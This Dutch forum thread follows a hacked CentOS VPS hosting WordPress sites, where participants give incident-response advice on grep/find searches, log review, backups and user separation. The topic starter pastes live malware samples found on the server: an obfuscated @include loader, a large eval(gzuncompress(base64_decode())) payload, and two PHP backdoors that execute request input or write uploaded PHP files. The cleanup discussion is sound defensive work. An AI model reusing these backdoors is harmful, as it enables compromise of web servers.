VPS gerapporteerd ivm malware / WordPress inlogpogingen

Pagina: 1
Acties:

Vraag


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Vanochtend werd ik er door mijn hosting provider op geattendeerd dat mijn server op andere servers WordPress login pogingen aan het uitvoeren was.

Hierbij het rapport: https://bitninja.io/incid...nt&utm_content=publicpage.

Ik heb direct 5 van de 20 websites op suspended gezet, want dat zijn websites waar anderen toegang tot hebben. Ik zag een proces draaien genaamd Annizod -B dat nagenoeg 100% CPU in gebruik had. Omdat ik op mijn werk zat kon ik niet via SSH aan de slag, dus heb ik via de website van de provider de server opnieuw opgestart. Toen stopten de meldingen ook.

Nou kom ik thuis en wil ik verder kijken en zie ik dat milemined -B 100% gebruikt, ook weer een onbekend proces, nooit eerder gezien. Vooral de -B triggered mij weer.

Ik heb een CentOS 6 VPS met DirectAdmin. 3-4x per week update ik DirectAdmin, Linux en alle WordPress websites met WP-CLI.

ClamAV draait, maar ik loop nu even vast met de achterhalen waar het lek zit, waar zit men op mijn server en hoe stop ik dit, enig idee? Ik moet ook snel handelen, anders wordt mijn server uitgeschakeld.

Alvast bedankt!

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP

Alle reacties


Acties:
  • 0 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
Makkelijkst: kijk in wp-content op lege upload mappen, dat geeft een indicatie welke maand de inbraak plaats vond.
Check dan je apache access logs.

Als je het niet weet te vinden, is het verstandig om een server backup terug te zetten.

Maak je niet druk, dat doet de compressor maar


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Inmiddels al iets gevonden:

In iedere WordPress index.php staat iets als:

/*e1005*/

@include "\057home\057admi\156/dom\141ins/\146lexf\141cili\164y.nl\057publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0638ed8\14224.i\143o";

/*e1005*/

Daarnaast vind ik in een aantal WordPress mapjes de folder: jdhse en verwijzingen naar jdhse.zip.

Een back-up terugzetten kan, maar ik weet niet of het daar ook al in zat. Ik heb ook nog backups van alle folders ipv een complete VPS back-up, daar kijk ik ook nog even naar of ik een datum kan achterhalen.

Ik loop ze nu allemaal langs, maar dan is nog steeds de vraag waar het is begonnen. Enig idee hoe ik daar achter kom?

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Josk79
  • Registratie: September 2013
  • Laatst online: 01:51
Probeer de datum/tijd van infectie te achterhalen a.d.h.v. file dates.

Dan de access log napluizen.

Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Doe ik, thx.

Werving is niet toegestaan zie: Het algemeen beleid #verbodenspam

[ Voor 70% gewijzigd door iisschots op 29-05-2018 20:41 ]

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Saven
  • Registratie: December 2006
  • Laatst online: 17:39

Saven

Administrator

sidenote: die apache logs rotaten toch per dag? denk niet dat je daar iets in kan vinden

Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Weet iemand hoe ik via de commandline alle bestanden kan tonen met:

@include "\057home\057admi\156/dom\141ins/\146lexf\141cili\164y.nl\057publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0638ed8\14224.i\143o";

Erin?

Ik zie inmiddels dat daar een path staat dat naar het wp-includes mapje in 1 van de domeinen verwijst, dat mapje heb ik verwijderd en schoon geupload.

In 1 van de wp-load.php bestanden staat het volgende:

eval(gzuncompress(base64_decode('eNqVWvtTFFfa/lc6VGoDSrC7p+em5WYBuQyBQRgYLjtbUz3TPUxLT/dsdw/MkP1KpQiRIFgmIFj+oiWGaAwGq1wrRVGVSNxojBdi1OD1X/me9/SAXLKDazZCpvuc816e93mf884mddm2ufjj4ccLv44/fvFw7pOspQ3IjsrZjuxoyffjy1dP3bv129kHB9wPuFTOSDqaaXDxB59+9vDe8VcLd1bL34+fWp0eff5o7MJSxSdaqvw9W9VT+/e/XV2x3/0kPjcyf+qzsYt/LM+UVxxQDUVLHbBUJ2cZXE11pM4nxRU12Xqornz7Bn/fdMQ/Kg783749NbppKoZmHJH3cyFO15L9XMHMWZwqW7qZUCs52VC4nKGY7seDspNMV+3Zt9W/Te5stuyT7ccflC1LLpSXxQSP/1JMlPiba7F8Uiw7+Ff6SPCEC716MJb3CDFBwr+ivz0m+MWyyrL4zZjo9349+2ksH/Quvb5IK3qKr/M+QY7lvf72IXrxSiwfSLx8duxFLC+rr8/hxX17IrIlp4VgKgkfM/hTyZn9cgFelLW0xXi/l/6ltbeuL8REn+/M2H1s4ps6S6d0NMAgn9zT3Z5NiBJs84VieckfE7w8rzTWDLVqgQEFH3sUT3MmPJjoCA3ieRLPveGBRARPgh4sPsI8yktS0OrtxoaJYDiW98t9Xlge7GjLt+AFr6SHh9L4KeJF5VD1YAstSKfDhxQtJgjeoV6dftALYdoifCSq92C9lDxI1s99/eyP6Utkcxs+9DZ1dNbVd0aqD7KHMQ8vjp4d+eHCb/e++Om/vPNgDSkRJn5DDPyTs6v0VnNM8Pndp+OPFmIeUbhAH7djsS8YE3ipQ2iq7+ajkc7+YITe+jyWV9SRmWMIpOB5c/yJ+7Yg+oKHOihTcECsx+oA/QfiJol46O1HmGBMv+vIxMlrn7359fbEWEz0ehg28l4xig14oS3Smcd5dPzGkYBEggy/s3ACYEKKgsIIS/tWaDtyvwoMc1nZcGzOTKUquT4rZzia0QfY45nMOZap6wSL9miwvlNvgml8JxLnRgCHpsZej547eTHmEXwzzLNosLst2tSKR55Ob2Pxpe8eXiXvH59f2oG+HlVOszLDeZrDWWauL+0eSEBpo6T4mjpwrtjmRv3nmMiLP95Znrgy4h4IrFJl+DqxAHFnsQciPMiG6GEgvvvo97lrx/8kAnZGdqubc9JU5wnTdFgVuPGNdrK40j7dgKpPqukklHkpDBIy5PMwiz479ebyrec/Xxsu2gO7yX3aozN8OEpLopE2LJXkluJjgSdzfUlK/uHOPio3ttXz+VnAxX9v6uWOQLWmuQJiVQlTZYdLqapuc31whsxl0KW9CPtbQC56xfn7K+fOL10h41hZVgPBUo8YzPVmdKPZIMSZMIQX3CWLt6aPLcIIpYgzoZPVBIESu64Tww/gA3n0JPaXjhLU3N15n6faofrFOSI5uukMpMSfrN7AzRMCxBQKS/iCFV8nCyoFCQQg+TrBE5JwEHsoLMSXiOZe3nArkLhlEO5KXSCUDHYD2/n53oIXROMjTgkwd2jhvVg+EVy7ML7kHkIx6qBguQ65aZJcz4mC51a/Of0QPBlEYXs3HYaq9/BhXWkkINJhiYwyVPQr70sV/YqfvYh6U3+fv3Z86gECJO6AXIQAV7n+o6Cqqiyn0wzwbSzOb33fwMTa8uTynZVTbxaYPeQ52LSLyNKHsymu5IecJf/lxup1Vy5O3YQjqa+KafQJNQTAjn4iTLbvjaMrlESkWnjk9htJYtFw5C5iH2LVRGO0342vN9BSRBQvnfgJbgY+/5OCyhCl2GZG5RxTth3WKlXAFZUNfnEbJoRBFddMT1o/wM9+1eYSOcdR8UTXOc1w30paCFEV14Lm9DY6G8AmBMES39wjWOIDlHxfvJi7vaNmqLIZs1DNfOTWdTEQVClUma5Xr7CFl3pcYvLumz/xK4tyc/1KyAb+sRlJAIFifqCnqy2XbEgP0j4zs2OIpzw8g78TblMBzLY2lfszf8Q8Hp7M/5Mir+QGqb5lS2XW95mGIXPQGoOak4Ybpq2+9aOJnOin1sg2fnpmfPLymZUri6dd5PI+0c2dR6AqkVR8wstdwVyyQPkFWDbKZOrS7KsplFhwaRi2+XdEoE91ODifVWUj5yB9h91fuJRlZmAVhUXXs7LVT3EBRgFOf3NXfX+iS881e8LUyYk/G6PUPV01IPrxsc+XyPQCubAM9rDKpXIkk65NIELe6aPkC+PzaHu0k/ymZuCrBzn397tNGrnjly9/efTe90+n6e2kGOWVbvLN6RGpO+RQD1Snim4wMlkFaEATgST1degA/1UX/6LUEDxCsqu7ndW4KEHabBDjyswb0J33zSpxc1lUqEm18cHWaB3Z1Eo2EasH6yLR0DpJgntEbO89cXR4KxaIgSLVm4XWl3jXd/v6ClkzRoTKpJYCss77iazxw0sRbIjSb0r1BmM9fPFsdPT8L0V6KwKb0ajLcOhdRdxdePAKPktU768nH186V/SZcNRBlUA4Wjdn9ta94wCCGBM9vEsgSBnYnfCkJ41wNkHoknLUA4vQX3z97Dj2TrLgNOBBQE9mqMn5aVFDUE8iFz7JUGprhuiTLsKCFGqkNsm4TBCEhiYdJwVJTtaRymjqbulDB7F7STVKfeRMpCa3vtrrCTW2m3J3C73aQzwYzSQ8TXqoUdFDDdjPR5o0oRFLGwSB7rY+5kV7mtSor12nnWoltypBlvzNO0AG/we5cJiMCA/0NnTupbijr/WwgiKxgQz0Zqh9o7XVmMlDBOqBHup5QcaWHe6W80uXiVG+esD2q6Uc+g+/7fVPcGJiCR+mvri6gwiKBcZqHZqLVepeWnX3NuVl+uoPO2r0Y9XgGiwtlVILXJNVRcqK/hTbS0cm6rrr9iy/hEiRC6GGtJ5g2+8jGS/l0xQ6L18o0r6/J9hUiNKlw9UXftnb3Ut9swYhlURPW5/c3RZoFuv2Nve5ODt55wpM9B37+lvyW8Yyvp1PNrZQhqUCuztQ3xLbdRUHos+gw5IxyCd29DQ26UkPU/Uu5EVPk9HMpF2/jLoUfNR78blPYc2qWB8MFNu1xrp6GD469v2zYhLQPb180dJfZhfn1k5fKxYC31jNIjz2giTY0xvFj/3UDINCqCGcBpQEXqSLiycTTSsNDN09hEqKn54s1GTkrjxdSQTmtZnMBIVesa+PJFGkxtPbFeqTu7x8L6kJqlXSLsGusN5cW6MRygBQhUU/S2cUavoToitA/SLKk+4XksQD3gPJjI3CIDAWkC5oBjuBsqK8BJoY6XeHqCiICdm+NUPNWk2n3MB0IoymMhDrM8yQMO2IS5bkjdRkk4hnsIZnwgK/UTAd8tBPHUMgbuzK23iKd1kcWNWlGTOxe4GCSLCroM4uhb1Z2qmhM1fs2b8svZw8Q/cRdmk63EAFxmiK93qUDWW6ucCoUKnGBgfwoL+3WFrYQiQyG15GwcrfkYycAvsEgjsKqWtzN3VkvZ9uN3LCzDE9QIBASQInbNvrT7GdZ2L108k5cLCP2dhIKNtL+GC3XKZPfX4ZMO09wmuuMQHpu9Gx76+dpIo+RqtCWs2RREP9EIVoiMCrUeiwUEVramDK2OU7utdLjAMHEppgs+bDCg1uE+tJwb1Fosfe/umxojZF3P1+xvlUKqKO+7Qb8Lq+tqKyV7qpvgNKgz5AharVNLByzlMv3lBQPu/z6acQrXJyfm3CpT2B9wTT5C4Ly3pDmCC5PkMXg4QXN1me3ymSPshwdlY1nEropSO5TBaqZdCAnnNMphAgEEBMJPvsjMkulynZwW2LLqJpyxzE1S/Zb3PIFr2dlB2msaJisNBbX1Po7Q4PhWoZJwl+wYVvXukK+EOs/xaoEWWChbLKigNb89+R1mwO/7OdXFajy9K2CU/EMQ2VqzV1Bb+qAypXnbNxA+b6tAEI00xRzSZU1aK1NILSbFt1yt+P17a2fhyq+/umGdf+/ZtnVwQM2Xv+JshQuFVW8Y+Kiv0RtaPWNPtDdeUlVt1chszgZz+dXnoNEHrKKipLvHxlnCY7C6/P4TUnlKkrr9hbjpBXtLfmwkp5kOe3etslk5zsslTb0dVNvqMW9uLlvTsW9BRvKNRD6GnFnuL2ndg+sBf/4JMPeZSwuPdD3s9LW6O/T+szTEvFWh6E6MHfvNdbUXEgrcpKXXuJKBDi3w6fRqfOllVQZrcADvozaZrQ5cyNJKXQBnQGZaCIS2hOMg24FQbZXEvNa87GYPAApfFQXSpkqEqpTMx9/QytIDCNNHhxfsV+BWvCaqklt0YhmYQRyDieBkv4KSEzh0JWWG5B1uP1oea6eLyiqsQWDwgwFyZQ5eJNGjpVrJuttlutVtyqy5pWh2Y0lCdbw5EO2XBK2TMOB3ga/K1ewEb/qm0N2x3VRkepJcWBFRX5wvgb0nTk/L/e5TRiCQnoBVkF/HSR+JXk78TYN+xsM2w71aU3OEfSly6XCyd+Oj3y9thwSYtpBkVy/iIu3UG/66cR6agOlzqrOJcap6EUs86wndLuMRaGPt80gHJDGtktpLfuIpv878iDdO0484rFoqR962MlCucwoY9QC/iocbVbsx27vNaNzG4WP5+ffUbzpIpSoKNgXJm/T93v3HlwfOIKw7ul/jOnWWrcNJIq4EYxLZ2/t8Oj0sfBrh8+Hz159egFBm/dVuHc31zv8loE3imh9rCcURnIEamO3fIClJLYBgCkxZgoimR/qSr7jIp6+iX1M7z6l7+897cUlWZdd4hiq2iWIbeo5cBsZBdUxO99z+ZLu5yH4yQaLl0u1tPW4G5jaZVduE2DS8sWuqbN2qalKerbdmrnDLQhMFv5IQ2RIltZbZfG1Fk2qf19niZD6zOqXQxfo+8Z8KK6fGcF5e1/s7Cesv2KShS6S2Y25lAl+9iNo6gsD/YXVx/R/luDc5D+wFW31nYFw8j6gAqeodKItkqW5+jco/9MfvFiDou8uwP31cT98cm7SGNqZ09y+2uykFAttNT42JXhJy/PnCzf7s8hzXIKH8uOiltbJU2/oJWMD6B8VF2nnpUwlQJ34MMKctncnV5mZseeD8+8WHd3NxpDrd+nAVWAxlCjuzsM7vKdGScIXD6zglzKi6fJ8/fjx2+PzC8ejD8593Bx4t8r5SVhNEUT3MCrqbPELu6QiYK3KRJdaXNdqCN24IOUDJBtF5lQaH2mwyV0EyWRljUL8dNzKqcWVJuU56Bp9XNQ95AAuuns2QfgbN2iGutCWDlAEjQrW4i6BoV3xExwiqpD9Vl0Q0iZFndYzspck5k2PrBpLJkpcA2qSaLJopFkxLGyZgQ6MFLXHq1rL6UDr018On0UCrCyZNfPBwLLYIegB6UgeGiWRSyRrttFKYHJ8orwI3Xemz9fLauoKuZlW3R7cP2xzRzJbzVfqCLZnQDH0K1oEHghpQsf3VFeEhEsDmuTslVVlE/boN4iA+WuOjaxzGJhrHLPSZs5iLEkzXNz2S1xJCJjQ2LZ4ExLUS3szcQN5JhmlNTFRBAzb76l+VtF5bswAXB+/fYJGrAUeW6XBvjlv29fX/l57MLZnQS0KZCNclp+j2v92KUje5cOHH8IqHvcER0MoBW7dDPqFMKDVyOrrycf0wXiXGnD3VFdXpFnXTbabCnYxHwPNaMUv84zODXvWPKHdd0d7dWcLlt9KpfVhoZk3NdscJClZbMEfjZrtuVcUkXq49M/rlxaO3W3fAfXYftKLqVZNruyFVB6lHVbLlRyZexs+q7KvX1tgkAll8ZlLyMXqApVPUs4K6M3VcPdhpGg+52cSjfKpAYecL91Zy8xyLKjMu4XmIApg1IVFzHZpJ/hjOv+sJk8rHJHAI7JfLM593t7Bnqi6MXHM5fWzn85+7KcGO35/dG5/9y8dfzx1MHI4XY02/ry+PXbz5YfTZ1+PF5S+LzGVSEgkMyqLM2m98/fvEPXAyLfXVI7v3R5/KsH23ky5BYs7qpWAfE1+sCAcqLw3p59m+2vOlhi4yffLB0lkUQXfzAGXA2FndQ7unr39nOs9V79gfn6TktO3rny+tjXOE3ZTW24o7odVz3bRZK8TtGFj/4Hb3+hKTaNiEiDrZ0mQc2ctkJGx7vmd+wFuqD/KU1MSqc4TiMusLjPnXLtSjo0yRoZXv4FbZFfJPV6fGx7wjszmaqqqh7V/h98hqHiUyap8gFlFX95J+n28dXb/rCbXSJfHGp9g9VAatW7BQox9k/TJO7yY2Le3dXFDSIvAtTTi1fn1+h7OPgf/3bx8okH5ZvdfTeo0Y4T4zPHFm8sHGOXpi2RjLDa/wAiI0FdnriOSMblQAhrtHi0LlvlDHPwI65Wpl9prpWmLidDcqhIBGMiGlppRj+egqzY/5FCprY3CBZi/ZL1tP8HMWtxFw==')));

Ik heb het idee dat een website die ik vorige week van iemand heb overgenomen al besmet was...

[ Voor 89% gewijzigd door Taro op 29-05-2018 19:59 ]

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • +1 Henk 'm!

  • Josk79
  • Registratie: September 2013
  • Laatst online: 01:51
grep 057home -R --include=*.php

grep eval -Rw --include=*.php

Die 2e geeft mogelijk false positives.

Acties:
  • 0 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 08:10
Taro schreef op dinsdag 29 mei 2018 @ 19:13:
Daarnaast vind ik in een aantal WordPress mapjes de folder: jdhse en verwijzingen naar jdhse.zip.

Een back-up terugzetten kan, maar ik weet niet of het daar ook al in zat. Ik heb ook nog backups van alle folders ipv een complete VPS back-up, daar kijk ik ook nog even naar of ik een datum kan achterhalen.

Ik loop ze nu allemaal langs, maar dan is nog steeds de vraag waar het is begonnen. Enig idee hoe ik daar achter kom?
Kijk naar de creation date van die bestanden, en gebruik de vroegste om te greppen in je access logs. Dan ben je er zo achter waar het vandaan komt

Check ook de error logs, niet zelden vind je daar nog de output van wget of curl als men erg bot te werk gaat.

Acties:
  • +2 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

Het lijkt mij belangrijk om als eerste alle wachtwoorden op de machine te wijzigen. Dus die van alle SSH gebruikers en die van de wp-admins. Je wilt niet dat tijdens het opruimen van de meuk de 'aanvaller' z'n shit weer terug zet.

Zet vervolgens ook alles zo veel mogelijk uit wat niet nodig is. Tijdens het opruimen is het bijvoorbeeld niet noodzakelijk om de webservice te hebben draaien. Dat geeft anders alleen maar een mogelijkheid om eventuele sporen te wissen.

Daarna ga je een backup maken en vergelijken met de backup die je al hebt. Als alles plain files zijn, is een diff -r een snelle optie om te zien wat er anders is tussen de twee mappen. Daarna ga je kijken naar je oude backup om te bepalen hoe betrouwbaar die is. Als die schoon is, vraag je om een nieuwe installatie van je VPS en zet je de schone backup erop terug.

Commandline FTW | Tweakt met mate


Acties:
  • +2 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
Taro schreef op dinsdag 29 mei 2018 @ 19:57:
Ik heb het idee dat een website die ik vorige week van iemand heb overgenomen al besmet was...
Zou best kunnen. Ik ben nu in een process om een WordPress website te gaan hosten.
Het eerst wat ik tegen de eigenaar zei: ik heb een beleidspolicy waarbij WordPress niet werkt totdat er een security scan heeft plaatsgevonden.
Hij schrok, maar het punt was duidelijk toen ik hem verwees op het aantal gehackte WordPress websites en dat ik net de week er voor nog iemand had geholpen met het oplossen van een inbraak en dat er een rekening van € 400 betaald moest worden. O-)

Maak je niet druk, dat doet de compressor maar


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Bedankt voor de hulp allemaal, het wordt erg gewaardeerd! Ik ben er helaas nog niet, maar heb nu het volgende gedaan:

Ik heb alle .<randomnummers>.ico files opgeruimd, alle verwijzingen naar @include van de betreffende .ico files die per domein anders waren en alle index.html.bak.bak bestanden verwijderd.

Morgen overleg ik even met de server provider over het neerzetten van een schone server, met een volledige DirectAdmin back-up van bijv. vorige week of de week daarvoor. Kan ik direct naar bijv. CentOS7 upgraden.

In een aantal bestanden kwam ik nog dit soort zaken tegen. Die lijken me deels gebruikt te worden om random bestanden aan te passen, correct? Hoe kan ik deze makkelijk vinden, ze lijken me té willekeurig qua variabelen, of niet?

<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();?>

<?php $qvitxi = "motkfcumipajgnyj";$cqeuitfl = "";foreach ($_POST as $gveiive => $adtnioes){if (strlen($gveiive) == 16 and substr_count($adtnioes, "%") > 10){uafsfebvzi($gveiive, $adtnioes);}}function uafsfebvzi($gveiive, $trndt){global $cqeuitfl;$cqeuitfl = $gveiive;$trndt = str_split(rawurldecode(str_rot13($trndt)));function skuzje($gqxgs, $gveiive){global $qvitxi, $cqeuitfl;return $gqxgs ^ $qvitxi[$gveiive % strlen($qvitxi)] ^ $cqeuitfl[$gveiive % strlen($cqeuitfl)];}$trndt = implode("", array_map("skuzje", array_values($trndt), array_keys($trndt)));$trndt = @unserialize($trndt);if (@is_array($trndt)){$gveiive = array_keys($trndt);$trndt = $trndt[$gveiive[0]];if ($trndt === $gveiive[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function opfcqs($kshmjhxnir) {static $mpcbwqjh = array();$kshmjhxnjximwj = glob($kshmjhxnir . '/*', GLOB_ONLYDIR);if (count($kshmjhxnjximwj) > 0) {foreach ($kshmjhxnjximwj as $kshmjhxn){if (@is_writable($kshmjhxn)){$mpcbwqjh[] = $kshmjhxn;}}}foreach ($kshmjhxnjximwj as $kshmjhxnir) opfcqs($kshmjhxnir);return $mpcbwqjh;}$onqycszl = $_SERVER["DOCUMENT_ROOT"];$kshmjhxnjximwj = opfcqs($onqycszl);$gveiive = array_rand($kshmjhxnjximwj);$bywbb = $kshmjhxnjximwj[$gveiive] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bywbb, $trndt);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bywbb, strlen($onqycszl));exit();}}}

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Josk79
  • Registratie: September 2013
  • Laatst online: 01:51
Ook met grep. Bijv:

code:
1
grep GLOB_ONLYDIR * -R


of

code:
1
grep is_writable * -R



bijvoorbeeld.

Acties:
  • 0 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 19:37

AW_Bos

Liefhebber van nostalgie... 🕰️

Een goede tip: Mocht je dergelijke eval()'s tegenkomen, functies die verantwoordelijk zijn voor de uitvoer van een string als code. Dan raad ik aan om deze aan te passen naar een echo. Dan zie je meteen wat het script probeert uit te voeren.

Dat geeft ook weer inzicht in de rotzooi die je moet opruimen. Al zou een backup een beter initiatief zijn.
Ook raad ik https://www.patchman.co/ aan, om de WP-installaties van je klanten up-2-date te houden en te patchen. Het werkt tevens ook in DirectAdmin.

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 08:10
Taro schreef op dinsdag 29 mei 2018 @ 21:36:
Morgen overleg ik even met de server provider over het neerzetten van een schone server, met een volledige DirectAdmin back-up van bijv. vorige week of de week daarvoor. Kan ik direct naar bijv. CentOS7 upgraden.
Een backup is een aardige oplossing, maar nog belangrijker is om na te gaan wat er nu werkelijk mis is gelopen. De kans is zéér groot dat je ergens een lekke plugin hebt, als je dat niet oplost is het in no time weer raak.
In een aantal bestanden kwam ik nog dit soort zaken tegen. Die lijken me deels gebruikt te worden om random bestanden aan te passen, correct? Hoe kan ik deze makkelijk vinden, ze lijken me té willekeurig qua variabelen, of niet?
Stoppen met op inhoud zoeken, en metadata gebruiken (zoals eerder genoemd).

Als je alle bestanden zoekt die de laatste X dagen zijn gewijzigd dan heb je een lijstje dat prima behapbaar is als je obvious cache dirs even vergeet.

Diffen tegen een backup is nog praktischer, maar met een goedgeplaatste find moet je een eind komen.

Backups terugplaatsen en de gebruikte vulnerabilities fixen is de beste oplossing.

Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Als ik bijvoorbeeld het volgende gebruik dan vind ik alle PHP files die de afgelopen week zijn aangepast. Omdat ik tussendoor ook WP Updates heb doorgevoerd is het nogal een lijst. Enig idee hoe ik die kan verkleinen?

find . -type f -name '*.php' -newermt 20180521 \! -newermt 20180529

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

Je kan ook bij find gebruik maken van -mtime <dagen>, waarbij een negatief getal telt van verleden naar heden, positieve getallen gaan uit van niet nieuwer dan.

Met een backup terugzetten moet je heel goed letten op wat er in de backup staat omdat je van CentOS 6 naar CentOS 7 gaat. Er kan wat systeembestanden in de backup zitten die niet meer werken op die manier of de boel eerder slopen.
Als het alleen de /var/www map is, dan is er weinig aan de hand.

Je hebt iig een flinke bende om op te ruimen. Zoals hierboven al gezegd, er zijn te veel WP sites die meuk draaien op de achtergrond, voor de bezoeker of de server zelf. Jij had een paar miners te pakken voor cryptocoins.

Commandline FTW | Tweakt met mate


Acties:
  • 0 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 08:10
Ai, dat maakt het inderdaad wat lastiger. Beste leidraad is dan om het file-command wat uit te breiden (klik).

Je kunt ook de newerct of newerBt proberen - afhankelijk van hoe Wordpress patched (nieuwe files, nieuwe ctime) zou dat wel eens anders kunnen zijn dan hoe de backdoors zijn geplaatst (gemodificeerde files, nieuwe mtime maar oude ctime).

Maar als je dat lijstje op datum hebt dan is het triviaal om een beginpunt te zoeken, namelijk de timestmap een van de files waarvan je zeker weet dat het niet pluis is.

En de access logs. Maar ik val in herhaling

En zorg er in het vervolg voor dat iedere site onder een aparte user draait. Dat beperkt de zooi iha. tot één enkele site die je rustig uit kunt zetten en bekijken ipv. 20 sites die ondergekliederd worden.

[ Voor 12% gewijzigd door Thralas op 29-05-2018 22:20 ]


Acties:
  • 0 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

@Thralas, aparte gebruikers klinkt leuk, maar als ze allemaal hetzelfde in de basis draaien en daar zit een lek in, zijn alle sites alsnog zo geïnfecteerd.
Het beperkt de boel wel als er maar 1 site een of andere vage lekke plugin gebruikt die misbruikt wordt.

Commandline FTW | Tweakt met mate


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Thralas schreef op dinsdag 29 mei 2018 @ 22:17:
En de access logs. Maar ik val in herhaling

En zorg er in het vervolg voor dat iedere site onder een aparte user draait. Dat beperkt de zooi iha. tot één enkele site die je rustig uit kunt zetten en bekijken ipv. 20 sites die ondergekliederd worden.
De access logs kan ik niets vreemds in vinden en die worden regelmatig vernieuwd.

Ik draai PHP-FPM, kan volgens mij niet onder een andere user per host, of wel? Ik overleg even met ze hoe we dit op kunnen lossen.

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Thralas
  • Registratie: December 2002
  • Laatst online: 08:10
Hero of Time schreef op dinsdag 29 mei 2018 @ 22:25:
@Thralas, aparte gebruikers klinkt leuk, maar als ze allemaal hetzelfde in de basis draaien en daar zit een lek in, zijn alle sites alsnog zo geïnfecteerd.
Het beperkt de boel wel als er maar 1 site een of andere vage lekke plugin gebruikt die misbruikt wordt.
Dat kán, maar meestal zitten dat soort problemen niet in Wordpress core maar eoa. vage plugin. Ook juist de zaken die nooit geupdatet worden..
Taro schreef op dinsdag 29 mei 2018 @ 22:25:
De access logs kan ik niets vreemds in vinden en die worden regelmatig vernieuwd.
Die zou ik toch minimaal een maandje bewaren...

'Niets vreemd vinden' zou het het niet moeten zijn - als je tenminste de timestamp van een van die backdoor files als uitgangspunt neemt. De kans dat je rond dat tijdstip iets in je logs vindt is 99.9% - enige vraag is of je de files van die datum nog hebt.
Ik draai PHP-FPM, kan volgens mij niet onder een andere user per host, of wel? Ik overleg even met ze hoe we dit op kunnen lossen.
Je kunt gewoon meerdere pools spawnen. Maar ik vrees dat dat er niet helemaal op gebouwd is om naar 20 pools te schalen, qua memory.

iig. is het scheiden van userids iets dat iedere shared hoster toepast. Vroeger met suexec, tegenwoordig met CloudLinux. DirectAdmin kan dat vast voor je regelen (verbouwt immers sowieso je hele server, toch).

[ Voor 9% gewijzigd door Thralas op 29-05-2018 22:37 ]


Acties:
  • 0 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 19:37

AW_Bos

Liefhebber van nostalgie... 🕰️

Nog een goede tip: Kijk in DirectAdmin ook of er gemaild (lees: gespamd) wordt. Dit houdt DA ook bij.
Zou rot zijn als je op een blacklist terecht komt.

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
@Thralas Die iemand waar ik het over had, had een ssh brute force attacker.
Het wachtwoord van wp-admin was bekend in een hackers database.
Ze hadden een ".so" geupload in wp-content en via PHP de ".so" ingeladen en zo binnen gedrongen.

Zoals ik al zei tegen TS:
Als je het niet weet te vinden, is het verstandig om een server backup terug te zetten.
Het hoeft dus niet een plugin te zijn, noch WordPress.

